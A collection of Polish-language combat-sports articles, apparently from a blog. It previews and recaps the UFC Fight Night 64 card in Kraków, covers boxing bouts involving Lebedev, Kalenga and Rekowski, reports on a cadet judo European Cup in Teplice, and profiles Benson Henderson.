Tym samym Garcia odkłada swoje plany na czas bliżej nieokreślony. Podczas walki z Petersonem zabrakło mu odpowiedniej motoryki, siły ciosu, więc przejść do kategorii półśredniej w tym momencie nie byłoby odpowiednią decyzją. Czas i kolejne doświadczenia z pewnością będą przemawiały za tym, aby Garcia spróbował swoich sił w wyższej wadze.

Zaproszenie do „Swifta” wystosował Marcos Maidana, który chętnie sprawdziłby umiejętności Amerykanina. 31-letni bokser z Argentyny chce wrócić na szczyt po wrześniowej porażce z Floydem Mayweatherem Jr. Maidana podkreśla swoją gotowość do rywalizacji z Garcią i zaprasza go do kategorii półśredniej. Bardzo chętnie zmierzę się z nim i powitam go w kategorii półśredniej. Zrób ten pojedynek – powiedział Argentyńczyk.

KM

Balon pękł

Krakowska gala UFC za nami. Szumne zapowiedzi i wielkie nadzieje związane z występami naszych zawodników okazały się płonne. Polscy fighterzy w większości rozczarowali.

Rzecz jasna-nie można wszystkich mierzyć jedną miarą, jednak w ogólnym zestawieniu biało-czerwoni wyszli na minus. Siedem walk i zaledwie dwie wygrane. Zacznijmy od przyjemniejszych chwil z gali UFC Fight Night 64. Debiut w najlepszej organizacji mieszanych sztuk walki na świecie zaliczył Bartosz Fabiński (na zdjęciu). Pierwszy start naszego zawodnika na plus. Choć Garreth McLellan to również „żółtodziób” w UFC to występ Fabińskiego należy ocenić wysoko. Polak prezentował się pewnie i co najważniejsze był skuteczny. Fabiński kontrolował walkę – liczne obalenia, łokcie, dobra postawa w parterze. McLellan okazał się dobrym materiałem na rywala w pierwszej walce w UFC, jednak w kolejnym starciu polski fighter nie będzie miał tak łatwego zadania. Z walki na walkę poziom rywalizacji będzie wzrastał.  Zawodnik z RPA niczym wielkim się nie wyróżniał na tle Fabińskiego, który okazał się najjaśniejszym punktem krakowskiej gali z rodzimej stawki. Polak pewnie wygrał na punkty i czeka na kolejny występ w UFC. Dobrą robotę wykonał Paweł Pawlak. Łodzianin dostał kolejną szansę od UFC i tym razem ją wykorzystał. Sheldon Westcott lepiej rozpoczął pojedynek, jednak w drugiej i trzeciej odsłonie walki Pawlak miał przewagę. Nasz zawodnik dobrze radził sobie w klinczu, kilka razy sprowadził Kanadyjczyka do parteru, gdzie zadał kilka mocnych ciosów. Sędziowie jednogłośnie wskazali na Pawlaka – trzy razy 30×29.

Damian Stasiak miał zaledwie dwa tygodnie, aby przygotować się do pojedynku z Yaotzinem Mezą. Zawodnik z Łodzi dobrze rozpoczął pojedynek, jednak z czasem do głosu doszedł Amerykanin. Meza wyglądał lepiej kondycyjnie, a Stasiakowi zabrakło również doświadczenia na tym poziomie rywalizacji. Mimo to Polak pozostawił po sobie dobre wrażenie i może liczyć na kolejne propozycje od UFC. Marzenia na bok musi odłożyć Marcin Bandel. „Bomba” przegrał z Stevenem Rayem i raczej jego przygoda z UFC dobiegła końca. Debiutujący w najlepszej organizacji mieszanych sztuk walki Szkot rozprawił się z Polakiem w parterze. Bandel nie był w stanie oprzeć się naporowi i kolejnymi ciosom ze strony Raya. Nieudany powrót Daniela Omielańczuka. Walka polskiego ciężkiego najkrócej mówiąc mało interesująca. Przeważała rywalizacja w klinczu i choć Hamilton nie był wymagającym rywalem to Omielańczuk przegrał. Kilka celnych ciosów mogło zmienić obraz pojedynku. Jednak Omielańczuk kondycyjnie wyglądał słabo i nie miał pomysłu na rywalizację z Hamiltonem. Izabela Badurek wypadła słabo. Aleksandra Albu dominowała w stójce, a Polka nie była w stanie sprowadzić pojedynku do parter, gdzie powinna była szukać swojej szansy. W drugiej rundzie męczarnie Badurek zakończyły się. Warto dodać, że wedle źródeł dla Albu była to zaledwie druga walka w MMA.

""

 

Udany rewanż Mirko Filipovicia. „Cro Cop” pokonał Gabriela Gonzagę, choć pierwsza faza pojedynku nie była najlepsza w wykonaniu Chorwata. Pierwsze dwie rundy na korzyść Brazylijczyka, który łokciem rozciął łokciem głowę rywala. Filipović w trzeciej odsłonie wrócił do gry. W wadze ciężkiej właśnie tak jest – jeden cios i sytuacja diametralnie zmienia się. Dwa łokcie w klinczu zamroczyły Gonzagę, walka przeniosła się na ziemię, gdzie „Cro Cop” dobił rywala. Dla Brazylijczyka pojedynek z Filipoviciem może okazać się ostatnim występem w UFC, gdyż przegrał trzeci raz z rzędu.

Balon pękł. Miało być kolorowo, radośnie i wesoło, a rzeczywistość okazało się brutalna. Polscy fighterzy nie zachwycili. Rozczarował Błachowicz.  Szkoda. Tym bardziej, że rywal był w zasięgu. Daniel Omielańczuk wypadł blado, Izabela Badurek  przegrała z kretesem, Marcin Bandel nie dał rady i zapewne pożegna się z UFC. Udany debiut Bartosza Fabińskiego, dobre wrażenie mimo porażki pozostawił po sobie Damian Stasiak, zwycięstwo odniósł Paweł Pawlak. UFC w Polsce przeszło do historii. Na własne oczy przekonaliśmy się, czym charakteryzują się gale najlepszej organizacji mieszanych sportów walki na świecie. Niestety, zabrakło odpowiedniego poziomu sportowego polskich zawodników.

Walka wieczoru: 265 lbs.: Mirko Filipović pokonał przez TKO Gabriela Gonzagę

Główna karta.

205 lbs.: Jimi Manuwa pokonał decyzją sędziów Jana Błachowicza
170 lbs.: Paweł Pawlak pokonał decyzją sędziów Sheldona Westcotta
115 lbs.: Maryna Moroz pokonała przez poddanie Joanne Calderwood

Pozostałe walki.

170 lbs.: Leon Edwards pokonał przez KO Setha Baczynskiego
185 lbs.: Bartosz Fabiński pokonał decyzją sędziów Garretha McLellana
170 lbs.:Sergio Moraes pokonał decyzją sędziów Mickaela Lebout
145 lbs.: Yaotzin Meza pokonał decyzją sędziów Damiana Stasiaka
265 lbs.: Anthony Hamilton pokonał decyzją sędziów Daniela Omielańczuka
115 lbs.: Aleksandra Albu pokonała przez poddanie Izabelę Badurek
155 lbs.: Steven Ray pokonał przez TKO Marcina Bandla
145 lbs.:Taylor Lapilus pokonał decyzją sędziów Rocky'ego Lee

 

KM

Atak judoków w Teplicach

Teplice gościły najlepszych judoków w kategorii kadetów podczas Otwartego Pucharu Europy. Do rywalizacji stanęło prawie siedmiuset zawodników. Reprezentanci Polski również zaakcentowali swoją obecność podczas zawodów w Republice Czeskiej.

W Teplicach wystartowało czterdziestu jeden naszych reprezentantów – dwudziestu dwóch zawodników i dziewiętnaście zawodniczek. Na liście startowej Pucharu Europy pojawiło się prawie siedmiuset judoków (415 panów i 272 pań). Niemalże we wszystkich kategoriach wagowych toczyła się zacięta walka o wygraną.

W Teplicach po medale sięgały Polki. W kategorii 57 kg brąz zdobyła Anna Dąbrowska, w 63 kg krążek tego samego koloru wywalczyła Barbara Kulik. Wśród panów nie udało się osiągnąć sukcesu. W kategorii 57 kg startowały cztery nasze zawodniczki. Wiktoria Tomczak odpadła w repasażach, Polka zwyciężyła w pojedynku z Frederike Fiedel, ale poległa w kolejnym starciu Shannon van der Meeberg. Z kolei Dąbrowska od początku radziła sobie bardzo dobrze. Polka trafiła na wolny los, a w pierwszym pojedynku stanęła naprzeciw Lesley Koorn. Następnie Dąbrowska rywalizowała z Maekelberg z Beligii, z którą pewnie wygrała. Warto nadmienić, że Belgijka zwyciężyła w repasażach, ale do strefy medalowej nie udało jej się dotrzeć. Dąbrowska po drodze pokonała Holenderkę van der Sommen, a w rywalizacji o awans do półfinału pokonała kolejną z Belgijek – Marie Sadouni. Polka dobrze radziła sobie z zawodniczkami z Beneluksu, a w walce o finał stanęła naprzeciw reprezentantki Turcji – Seymy Ozerler. Dąbrowska zakończyła rywalizację z brązowym medalem, a w kategorii 57 kg triumfowała Emilia Kanerva z Finlandii.

Druga z naszych medalistek z Teplic rywalizację w Pucharze Europy rozpoczęła od zwycięstwa z reprezentantką Holandii. Zawody zakończyła porażką z zawodniczką z … Niderlandów. Barbara Kulik w kategorii 63 kg pokonała Donję Vos, by następnie rozprawić się z dwiema reprezentantkami Niemiec. W ćwierćfinale Polka zwyciężyła Chorwatkę Luciję Babić, ale już w półfinale trafiła na przeszkodę nie do przejścia. Holenderka Sanne Vermeer okazała się lepsza od naszej zawodniczki. Kulik cieszyła się z brązowego medalu. Kategoria 63 kg została zdominowana przez Holenderki – druga była Vermeer, zwyciężyła. Melissa Loen. W repasażach walczyła Stefania Konwicka, ale bez powodzenia. Polka przegrała już pierwszą walkę z Minel Akdenz. Warto nadmienić, że w początkowej części zawodów Konwicka rywalizowała bez powodzenia z późniejszą triumfatorką – Loen.

Z czterdziestojednoosobowej kadry dwie nasze reprezentantki sięgnęły po medale. Warte odnotowania są również występy Eryka Ryciaka (-90 kg), Wiktorii Tomczak (-57 kg) i Wiktorii Walczyk (-48 kg), którzy zajęli dziewiąte lokaty w swoich kategoriach wagowych. Gospodarze wywalczyli tylko jeden medal, ale za to złoty. W kategorii 50 kg wśród panów triumfował Tomas Bikhak. Po dwa złote medale w rywalizacji judoków zdobyli Włosi (60kg i 73 g) i Holendrzy 980kg i -91kg), u pań wyróżniły się Niemki – trzy medale z najdroższego kruszcu (40kg, -70kg, +70kg).

KM

Oluokun i Lebedev poczuli smak desek

Nie sposób w żaden sposób porównać i zmierzyć tych bokserów. Gbenga Oluokun ostatnimi czasy pomaga innych bokserom poprawić rekordy, z kolei Denis Lebedev to czołowy bokser wagi junior ciężkiej – mistrz federacji WBA.

Obaj stanęli przed kolejnymi wyzwaniami w trakcie swoich karier. Oluokun podczas gali w Gliwicach zmierzył się z Marcinem Rekowskim. Rywalem Lebedeva w walce wieczoru w Moskwie był Youri Kalenga. Zarówno Rosjanin jak i Francuz mają w ostatnim czasie wiele wspólnego z polskim boksem, zwłaszcza z nazwiskami Masternak i Janik.

Ale po kolei i od początku. Zacznijmy zatem od historii Oluokuna. Nigeryjczyk zanotował w Gliwicach siódmą porażkę na przestrzeni ostatnich czterech lat, po stronie triumfów widnieje tylko wygrana z mało znanym pięściarzem z Niemiec. Oluokun pojawił się w sferze zainteresowań polskiej opinii przed pojedynkiem z Mariuszem Wachem. „Viking” wraca do czynnego boksu po dłuższej przerwie i zasadne wydaje się stopniowe oswajanie go z ringiem, dlatego też na początek serwowano mu rywali, których zwyczajowo nazywa się kelnerami. Określenie to nie ma na celu deprecjonowania potencjału Nigeryjczyka, gdyż ten w swojej karierze walczył z utytułowanymi przeciwnikami, pokonał nawet Lamona Brewstera. Jednak liczy się miejsce i czas, a teraz Oluokun  niczym specjalnym nie imponuje. W Gliwicach stanął w ringu z Marcinem Rekowskim, który obecnie jest w bez porównania lepszej dyspozycji niż Wach. Wynik rywalizacji to potwierdza. Wach męczył się z Nigeryjczykiem na dystansie dziesięciu rund i rywal kilkukrotnie go zaskoczył. Rekowski od początku kontrolował pojedynek, starał się trzymać Olukouna na dystans. Jedynie w czwartej rundzie Nigeryjczyk doszedł do głosu. Rekowski w piątej odsłonie zakończył rywalizację. Lewy sierpowy, a następnie seria ciosów w narożniku przeważyła. Olukoun nie wytrzymał, przykucnął w narożniku, a sędzia go wyliczył. Rekowski triumfował.

Lebedev to marka. Walka z nim miała być spełnieniem marzeń Łukasza Janika. Już był w ogródku, już witał się z gąską, a tu pojawił się Kalenga i jego prawnicy. Kwestią problemową okazały się notowania rankingowe. Prawnik Francuza wpłynął na WBA i obóz Lebedeva, co spowodowało, że ostatecznie nie doszło do podpisania kontraktu na walkę Rosjanina z Polakiem. Bliskie spotkanie z Kalengą miał również Mateusz Masternak. „Master” był faworytem starcia z Francuzem, jednak chwila słabości, zlekceważenie rywala sprawiły, że polski pięściarz musiał pogodzić się z porażką. Można powiedzieć, że Kalenga po plecach naszych pięściarzy doszedł do walki o mistrzostwo świata w wadze junior ciężkiej. Podczas gali w Moskwie Francuz prezentował się pewnie i zaskoczył wyżej notowanego rywala. Gdy wydawało się, że Lebedev wszedł na właściwe tory ze strony rywala otrzymał potężny lewy sierpowy. W czwartej rundzie Rosjanin znalazł się na deskach. Kalenga poczuł wiatr w żagle i przejął inicjatywę. Lebedev czekał na swoją szansę, był trochę stłumiony aż wyczuł moment. W siódmej rundzie Kalenga po lewym sierpowym rywala znalazł się na deskach, jednak wstał. Sytuacja odwróciła się. Mistrz przejął kontrolę nad pojedynkiem, a Kalenga szukał szansy na nokaut, gdyż wiedział, że to jedyna droga do zwycięstwa. Sędziowie jednogłośnie wskazali na Lebedeva – 116:111, 115:112, 115:112.

Nie sposób porównać spotkania z deskami w przypadku Lebedeva i Olukouna. To zupełnie inna klasa. Nigeryjczyk stoczył drugi pojedynek w Polsce i zaliczył drugą porażkę. Lebedev stał się celem dwóch polskich bokserów: Janika oraz Masternaka. Być może teraz nadejdzie ich czas. Kalenga osiągnął wiele jak na swoje możliwości, stoczył  walkę o mistrzostwo świata. Teraz być może swoje marzenia będzie mógł zrealizować Łukasz Janik, jeśli obóz Lebedeva o nim nie zapomniał. A Masternak ma potencjał i walka o mistrzostwo świata jest w jego zasięgu. Prędzej czy później. Czy Lebedev bliżej pozna deski dzięki któremuś z Polaków?

KM

Nowy rozdział polskiego MMA

Już tylko godziny dzielą nas od gali UFC Fight Night 64 w Krakowie. Ogromna atrakcja dla kibiców, szansa dla polskiego MMA. Wydarzenie historyczne, które będzie wspominane latami. Gala UFC otworzy nowy rozdział w historii polskiego MMA.

Ranga wydarzenia sprawiła, że wiązane są z nim ogromne nadzieje. Sama gala ma dostarczyć wielu emocji, a zawodnicy w oktagonie powinni zaprezentować bogaty repertuar ciosów. Bo UFC kojarzy się z czymś najlepszym, wyjątkowym. Przez chwilę w Polsce chcemy być świadkami tego entuzjazmu, tej radości i zachwytów, które obecne są podczas innych gal najlepszej organizacji mieszanych sportów walki na świecie. Z pewnością będzie to bogate doświadczenie dla fanów MMA i samych zawodników.

Na krakowskiej gali wystąpi siedmioro polskich fighterów. Bartosz Fabiński, który zastąpił Krzysztofa Jotkę, zadebiutuje w UFC. Polak zdobył bogate doświadczenie podczas występów w Polskiej Lidze MMA oraz na zagranicznych galach. Fabiński w październiku 2014 roku w Estonii pokonał AlikaTseiko. Przed 28-latkiem otwiera się zupełnie nowy rozdział w karierze. Rywalizacja na najwyższym poziomie, w którym istotne są wytrzymałość, charakter, siła i wola walki do upadłego. Już w debiucie Fabiński trafia na trudnego rywala. 33-letni Garreth McLellan jest zawodnikiem doświadczonym, ale dla niego UFC też jest nowością. „Soldier Boy” do tej pory rywalizował w większości na galach EFC Africa – Extreme Fighting Championship Africa. Dla McLellana walka w UFC jest ogromnym sukcesem i w pewnym sensie uwieńczeniem jego bogatej kariery na kontynencie afrykańskim. Zawodnik z Republiki Południowej Afryki nie przegrał od czerwca 2012 roku. Czy Fabiński w Krakowie przerwie dobrą passę McLellana?

Szansę zaprezentowania swoich umiejętności podczas UFC Fight Night 64 dostał Damian Stasiak. Wywodzący się z karate łodzianin do tej pory wygrał tylko raz z zawodnikiem zza granicy. W marcu pokonał Mike’a Grundy’ego podczas BAMMA 19. Wcześniejszych doświadczeń z zawodnikami spoza Polski Stasiak nie wspomina najlepiej. 25-latek przegrał z Magomedem Magomedowem oraz Dmitrym Silnyaginem. Jak Stasiak zaprezentuje się w starciu z Yaotzinem Mezą? Doświadczony Amerykanin najlepszy czas w swojej karierze ma raczej za sobą. Na przestrzeni ostatnich trzech lat poniósł trzy porażki przy dwóch zwycięstwach. W wadze półśredniej kolejny pojedynek w UFC stoczy Paweł Pawlak. Polak musi pokazać się z jak najlepszej strony, aby zatrzeć wrażenie po ostatniej porażce. Zawodnik z Łodzi w debiucie w UFC przegrał pierwszy raz w karierze, a jego pogromcą okazał się Peter Sobotta. Problem w tym, że z takim samym założeniem do walki przystępuje rywal Pawlaka. Sheldon Westcott stoczył w UFC jeden pojedynek, który nie potoczył się po jego myśli. Rywalizacja Polaka i Kanadyjczyka zapowiada się interesująco. Z pewnością żaden z nich nie będzie się oszczędzał.

Do rywalizacji po przerwie spowodowanej kontuzją wraca Daniel Omielańczuk Polak po raz ostatni walczył w oktagonie w kwietniu 2014 roku, kiedy przegrał z Jaredem Rosholtem. Teraz 32-latek staje przed szansą odbudowania swojej pozycji i powrotu na szczyt. Doświadczony Polak w Krakowie zmierzy się z Anthony’m Hamiltonem. Amerykanin w UFC furory nie robi – jedna wygrana i dwie porażki. Omielańczuk staje przed szansą udanego powrotu po dłuższej przerwie. Wystarczy rzucić się na Hamiltona, ale trzeba zachować ostrożność, gdyż w wadze ciężkiej jeden zły ruch może zmienić bieg rywalizacji. Wywodzący się z jiu-jitsu Marcin Bandel postara się o pierwsze zwycięstwo w UFC. Polski zawodnik wagi półśredniej zmierzy się z Stevenem Rayem. Zawodnik ze Szkocji w Krakowie zadebiutuje w UFC. Do tej pory prezentował się gal CWFC, Bamma oraz OT-On Top. Ostatnio dwukrotnie pokonał Curta Warburtona. Podczas krakowskiej gali nie zabraknie akcentu w postaci pojedynku pań. Szansę zaprezentowania swoich umiejętności w UFC dostała 23-letnia Izabela Badurek. Rywalką Polki będzie Aleksandra Albu, dla której będzie to dopiero drugi pojedynek w MMA. Dla polskich fanów najważniejszy będzie występ Jana Błachowicza. Jeden z najbardziej znanych polskich fighterów zmierzy się z Jimim Manuwą. W walce wieczoru zaprezentują się Mirko Filipović i Gabriel Gonzaga.

Walka wieczoru:
Mirko Filipovic – Gabriel Gonzaga

Karta główna:
Jan Błachowicz – Jimi Manuwa
Garreth McLellan – Bartosz Fabiński
Maryna Moroz – Joanne Calderwood

Karta wstępna:
Damian Stasiak – Yaotzin Meza
Paweł Pawlak – Sheldon Westcott
Mickael Lebout – Sergio Moraes
Seth Baczynski – Leon Edwards
Daniel Omielańczuk – Anthony Hamilton
Izabela Badurek – Aleksandra Albu
Marcin Bandel – Steven Ray
Rocky Lee – Taylor Lapilus

KM

Ciężar Janka

11 kwietnia w Krakowie odbędzie się gala UFC Fight Night 64, podczas której zaprezentuje się siedmioro naszych zawodników. Oczy większości będą zwrócone na Jana Błachowicza. Rywalem naszego zawodnika będzie Jimi Manuwa.

Na ramionach „Johna” spoczywa wielka odpowiedzialność. Nie ukrywajmy, że dla Polaków to Błachowicz jest główną postacią i twarzą UFC w Krakowie. Mirko Filipović to  uznany fighter w świecie MMA, jednak jego czas już minął i raczej odcina kupony od bogatej kariery. Fakt, że nadal walczy w UFC jest godny uznania. Wracając do Błachowicza, w Polaku nadzieje pokładają również włodarze najlepszej organizacji mieszanych sztuk walki na świecie. „John” fenomenalnie zaprezentował się podczas debiutu w UFC, kiedy odprawił Ilira Latifiego. Błachowicz potrzebował dwóch minut, aby uporać się z zawodnikiem ze Skandynawii. Efektowne kopnięcia na korpus oraz serie ciosów wyprowadzone w kierunku rywala zrobiły wrażenie nie tylko na nim, ale także na obserwatorach. Nazwisko Błachowicza odmieniane było przez wszystkie przypadki. Pojawiało się pytanie, kiedy znowu zaprezentuje się w ringu i trwało oczekiwanie. Włodarze UFC na Błachowiczu oparli UFC Fight Night 64. „John” będzie walczył u siebie, rodacy przyjdą go zobaczyć. Taka taktyka jest doskonale przemyślana. UFC dostało ukształtowanego, twardego zawodnika, który ma potencjał sportowy, a kibice chcą oglądać interesujące walki i tylko czekają na nie. Istotna jest wartość marketingowa Błachowicza, na której Dan White i jego współpracownicy chcieli zbudować zainteresowanie galą w Krakowie. Czy osiągną zamierzony cel? Okaże się. Na barki Błachowicza spadła ogromna odpowiedzialność. 32-latek z Latifim rywalizował w październiku, więc od czynnej rywalizacji odpoczywał ponad pół roku. W trakcie intensywnych przygotowań musiał odciąć się od szumu wokół krakowskiej gali. Sukces „polskiego” UFC budowany jest na Błachowiczu, co nie sprzyja samemu zawodnikowi. 32-latek zostaje obciążony dodatkową presją, która jest zbędna. Jego zadaniem jest wejście do oktagonu i uporanie się z kolejnym rywalem. Błachowicz stoczył w UFC dopiero jeden pojedynek, dlatego  też musi potwierdzić swoją wartość. Fakt, że dla nas jest zawodnikiem utytułowanym, o ogromnych możliwościach, ale warto pamiętać – „jesteś tak dobry jak Twój ostatni występ”. Błachowicza stać na odniesienie sukcesu w UFC, ale musi być odporny na czynniki zewnętrzne. Celem jest płaszczyzna sportowa, działalność medialno-marketingowa to jedynie wątek poboczny.

Jimi Manuwa to najbliższy rywal Błachowicza. „Poster Boy” jest trzy lata starszy od „Johna” i ma większe doświadczenie w UFC. W ostatnim pojedynku Anglik rywalizował z samym Alexandrem Gustafssonem, jednak Szwed zranił kolana 35-latka i ciosami dokończył dzieła. Mimo tej porażki akcje Manuwy należy ocenić wysoko. Zawodnik debiutował w UFC prawie trzy lata temu. Dla najlepszej organizacji mieszanych sztuk walki na świecie stoczył cztery pojedynki, z których trzy zakończyły się jego triumfami. Manuwa Błachowicza na pewno się nie przestraszy, a Polak w tej rywalizacji musi się mieć na baczności. Kondycyjnie powinien mieć przewagę, pod względem siły również góruje nad rywalem z Anglii. Manuwa stoczy kolejny pojedynek w UFC po ponad rocznej przerwie. Jego forma jest zagadką, ale jest zawodnikiem o wysokim poziomie umiejętności. Błachowicz musi udowodnić swoją wartość, ale Manuwa w żaden sposób nie ułatwi mu zadania. Czy umiejętności grapplerskie przeważą i pozwolą „Johnowi” odnieść zwycięstwo  przed czasem?

W walce wieczoru zaprezentuje się legendarny Mirko „Cro Cop” Filipović, który zmierzy się z Gabrielem Gonzagą. 40-latek wraca do UFC po niespełna czteroletniej przerwie. W swoim ostatnim pojedynku dla organizacji Dana White przegrał z Royem Nelson. Warto zaznaczyć, że „Cro Cop” ma za sobą dość niechlubną serię porażek w UFC. Nie wygrał od trzech walk. Ogółem – Filipović stoczył w UFC dziesięć pojedynków, z czego sześć kończył jako przegrany. W kwietniu 2007 roku lepszy od Chorwata okazał się Gabriel Gonzaga, więc w Krakowie 40-latek będzie miał okazję do rewanżu. Czy ją wykorzysta? Młodszy o pięć lat Brazylijczyk ostatnio przegrywał. Z pewnością jeszcze raz będzie chciał udowodnić swoją wyższość nad Filipoviciem. Dla obu jest to ostatnia szansa, aby udowodnić swoją przydatność w UFC.

KM

Kolejny występ strongmana w MMA

Tyberiusz Kowalczyk pojawi się ponownie w ringu organizacji FEN. Rywalem znanego z występów w zawodach strongman „Tyberiana” będzie Czech Matej Chudej. Pojedynek odbędzie się 24 kwietnia w Bydgoszczy podczas gali FEN 7 „Real Combat”.

Dla 36-letniego zawodnika będzie to drugi pojedynek w MMA. Kowalczyk swój debiut zaliczył podczas gali FEN 3, kiedy wygrał z Tomasem Vaicickasem.  Polak w efektowny sposób poradził sobie z rywalem i odprawił go w czterdzieści osiem sekund. Debiut w MMA był dobrym prognostykiem dla popularnego strongmana i organizacja FEN gotowa była dalej współpracować z zawodnikiem. „Tyberian” miał wystąpić podczas ostatniej gali we Wrocławiu, jednak ostatecznie Kowalczyk nie pojawił się w ringu. Byłego strongmana z rywalizacji wyeliminowała kontuzja. Po dziesięciu miesiącach od debiutu Kowalczyk wraca do rywalizacji w MMA. Czy powrót będzie tak efektowny jak debiut?

Popularny „Tyberian” jest jednym z najbardziej znanych strongmanów i postanowił iść drogą Mariusza Pudzianowskiego. Kowalczyk próbuje swoich sił w MMA, ale należy podkreślić, że stratował również w rywalizacji kickbokserskiej. Ofiarą „Tyberiana” padł Czech Michal Soucka. Wielki Kowalczyk, mierzący 187 cm i ważący 118 kg, dobrze radzi sobie w sportach walki. Początek jego przygody należy uznać za udany. Podczas gali FEN 7 w Bydgoszczy polski zawodnik stanie naprzeciw doświadczonego rywala.

Matej Chudej trenował kulturystykę, ale jego wielkim zamiłowaniem są sporty walki. Czech w swojej przygodzie ze sportami walki skupia się na boksie, kickboxingu oraz MMA. Jest nieco niższy od Kowalczyka, gdyż mierzy 178 kg i lżejszy – 109 kg. „Tybieran” ma więc przewagę fizyczną nad Czechem, który nad Polakiem dominuje na płaszczyźnie doświadczenia. Chudej stoczył w MMA sześć  pojedynków, jednak jego bilans nie powala. Czech odniósł dwa zwycięstwa przy czterech porażkach. Debiutował w sierpniu 2010 roku podczas East Bohemia Ring, gdzie przegrał z Rudolfem Krizem. Pierwsza wygrana Czecha przypadła na jego trzeci występ w MMA – przez nokaut pokonał Marcela Wolke. Ostatni pojedynek Chudej stoczył w listopadzie 2014 roku. Czech zwyciężył Marcusa Kottke. Co ciekawe, najbliższy rywal Kowalczyka wygrywa z niemieckimi zawodnikami, a przegrywa ze swoimi rodakami.

W Bydgoszczy dojdzie do starcia zawodników, którzy do MMA trafili po karierach w innych profesjach – w zawodach strongman oraz kulturystyce. Nie można spodziewać się fajerwerków, jednak w ringu staną dwaj potężni mężczyźni. Siła ciosu może być piekielna, a pojedynek efektowny. Jeśli Kowalczyk będzie walczył tak jak w debiucie to publiczność nie będzie się nudziła. „Pudzian” stał się twarzą KSW, co sprawiło, że marka stała się rozpoznawalna. Czy „Tyberian” ma podobne zadanie? Po dziesięciu miesiącach wraca, aby pokazać, że poważnie traktuje swoją przygodę w MMA i jest w stanie rywalizować z zawodnikami bardziej doświadczonymi. Chudej wymagającym rywalem nie jest, ale Kowalczyk dopiero uczy się i różnie może być.

KM

Benson Henderson

Amerykański zawodnik MMA urodzony 16 listopada 1983 roku w Kolorado Springs. Były mistrz WEC oraz UFC w wadze lekkiej. W wieku 12 lat rodzice zaprowadzili Bensona wraz z bratem Juliusem na treningi Taekwondo. W latach 1998-2001 startował w szkolnej drużynie zapaśniczej. Będąc w Collegu w latach 2005-2006 startował w międzyszkolnych zawodach.  Benson trenuje również brazylijskie jiu-jitsu w którym w latach 2010-2011 święcił największe sukcesy wygrywając kilka prestiżowych zawodów oraz był wielokrotnym medalistą lokalnych zawodów głównie w Arizonie. W 2011 roku zdobył brązowy medal na mistrzostwach Świata BJJ. Jeszcze na college zainteresował się MMA i pod koniec 2006 roku stoczył swoją pierwszą walkę.  Rywalem Bensona był Dan Gregary. Henderson wygrał ten pojedynek zmuszając rywala do poddania w pierwszej rundzie przez ciosy w parterze. Trzy miesiące później stoczył kolejny wygrany pojedynek w podobny sposób jak pierwszą walkę.  W marcu 2007 roku Henderson przegrał swój pierwszy pojedynek z Rocky’m Johnsonem, który poddał duszeniem rywala. Przegrana nie zniechęciła jednak Hendersona i jeszcze w tym roku wygrał dwa pojedynki przed czasem. Rok 2008 również był dla niego udany i zakończył go z trzema wygranymi. Po serii pięciu zwycięstw związał się z czołową organizacją World Extreme Cagefighting. Na debiut w WEC nie musiał długo czekać i już pod koniec stycznia 2009 roku zmierzył się z pochodzącym z Nigerii kickbokserem Anthonym Njokuani. Benson wygrał ten pojedynek przez poddanie duszeniem gilotynowym w pierwszej minucie drugiej rundy. Na gali WEC 40, która odbyła się 5 kwietnia ponownie wygrał Henderson, tym razem przez techniczny nokaut pokonując Shane’a Rollera.  Po tych zwycięstwach organizacja dała możliwość Hendersonowi stoczenia pojedynku o tymczasowe mistrzostwo w wadze lekkiej, które nominalnie było w posiadaniu Jamie Varnera.  Właściciele organizacji zestawili ze sobą Hendersona i Cerrone o tytuł tymczasowy i miano pierwszego pretendenta do walki o pas. Do walki doszło 10 października 2010 roku na WEC 43. Faworyzowany Cerrone nie sprostał jednak Hendersonowi i przegrał jednogłośnie na punkty. Za ten pojedynek Henderson otrzymał bonus za walkę wieczoru. Zwycięstwo nad Cerrone dało Bensonowi możliwość stoczenia walki unifikacyjnej z Varnerem. Do starcia doszło 10 stycznia 2010 roku. Henderson zdominował swojego rywala w pierwszych dwóch rundach, a w trzeciej poddał mistrza duszeniem gilotynowym unifikując tymczasowy pas i zostając pełnoprawnym mistrzem wagi lekkiej. 24 kwietnia 2010 na WEC 48 doszło do rewanżu z Cerrone. Drugie starcie zakończyło się na korzyść mistrza, który poddał pretendenta duszeniem gilotynowym w pierwszej rundzie. Jeszcze w tym samym roku stoczył kolejną i jak się później okazało ostatnią próbę obrony pasa, gdyż na gali WEC 53 przegrał z Anthonym Pettisem. Na początku roku skończyła się procedura łączenia WEC z UFC. Zawodnicy będący z kontraktem WEC zostali automatycznie zawodnikami UFC. W swoim debiucie w UFC przypadającym na koniec kwietnia 2011 roku Benson wypunktował Kanadyjczyka Marka Boceka. Kolejną wygraną zanotował 14 sierpnia wygrywając na punkty z Jimim Millerem.  Pod koniec roku na gali UFC on Fox doszło do eliminatora o możliwość stoczenia walki o pas który był w posiadaniu Frankiego Edgara.  W eliminatorze Benson zmierzył się z Clayem Guidą. Henderson wygrał ten pojedynek przez jednogłośną decyzję sędziów. Do walki o pas doszło 26 lutego 2012 roku na gali UFC 144. Henderson pokonał Edgara na punkty i został nowym mistrzem UFC wagi lekkiej. Pojedynek był bardzo wyrównany i z tego powodu prezydent UFC Dana White postanowił zestawić natychmiastowy rewanż. Rewanż odbył się 11 sierpnia 2012 na gali UFC 150. Tym razem Henderson nie przeważał tak wyraźnie jak w pierwszym starciu i po końcowym gongu wygrał niejedno głośnie na punkty, broniąc pierwszy raz tytułu wagi lekkiej. 8 grudnia tego samego roku jeszcze raz Benson bronił tytułu, wygrywając z Nate’em Diazem. Rok 2013 to kolejna obrona pasa mistrzowskiego. Przechodzący do UFC mistrz Strikeforce Gilbert Melendez otrzymał prawo stoczenia walki unifikacyjnej z Hendersonem. Walka odbyła się 20 kwietnia na kolejnej gali w telewizji Fox. Henderson wygrał ten pojedynek niejedno głośnie na punkty. Pod koniec sierpnia 2013 na gali UFC 164 przegrał rewanżowy pojedynek o tytuł mistrzowski z Anthonym Pettisem, poddając się werbalnie wskutek założonej dźwigni na staw łokciowy pod koniec pierwszej rundy. W 2014 roku stoczył trzy pojedynki z czego dwa wygrał i jeden przegrał. W styczniu 2015 roku przegrał z Donaldem Cerrone decyzją sędziowską. Niespełna miesiąc później stoczył wygrany pojedynek z Brandonem Thatchem. 

Kolejny obfity weekend z boksem w FightKlubie!

Lebiediew – Kalenga o mistrzostwo świata WBA
 

